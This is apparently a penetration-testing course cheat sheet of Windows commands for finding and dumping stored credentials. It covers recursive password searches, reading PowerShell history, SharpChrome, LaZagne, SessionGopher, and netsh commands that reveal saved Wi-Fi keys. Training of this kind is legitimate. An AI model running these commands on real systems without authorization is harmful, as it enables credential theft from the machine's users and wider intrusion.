Credential Theft
Searching for Passwords in Files
Search for files containing the phrase "password"
findstr /SIM /C:"password" *.txt *ini *.cfg *.config *.xml
Search for passwords in Chrome dictionary files
gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password
Confirm PowerShell history save path
(Get-PSReadLineOption).HistorySavePath
Read PowerShell history file
gc (Get-PSReadLineOption).HistorySavePath
Decrypt stored PowerShell credentials
$credential = Import-Clixml -Path 'C:\scripts\pass.xml'
Search file contents for "password"
cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt
Search file contents for "password" recursively
findstr /si password *.xml *.ini *.txt *.config
Search for specific strings in all files
findstr /spin "password" *.*
Search file contents with PowerShell
select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password
Search for files with specific extensions
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
Search for configuration files recursively
where /R C:\ *.config
Search for credential-related files using PowerShell
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore
Credential Dumping & Enumeration
List saved credentials on Windows
cmdkey /list
Retrieve saved Chrome credentials using SharpChrome
.\SharpChrome.exe logins /unprotect
View LaZagne help menu
.\lazagne.exe -h
Run all LaZagne modules
.\lazagne.exe all
Run SessionGopher to extract session information
Invoke-SessionGopher -Target WINLPE-SRV01
Wireless Network Credential Extraction
View saved wireless networks
netsh wlan show profile
Retrieve saved wireless passwords
netsh wlan show profile ilfreight_corp key=clear
Last updated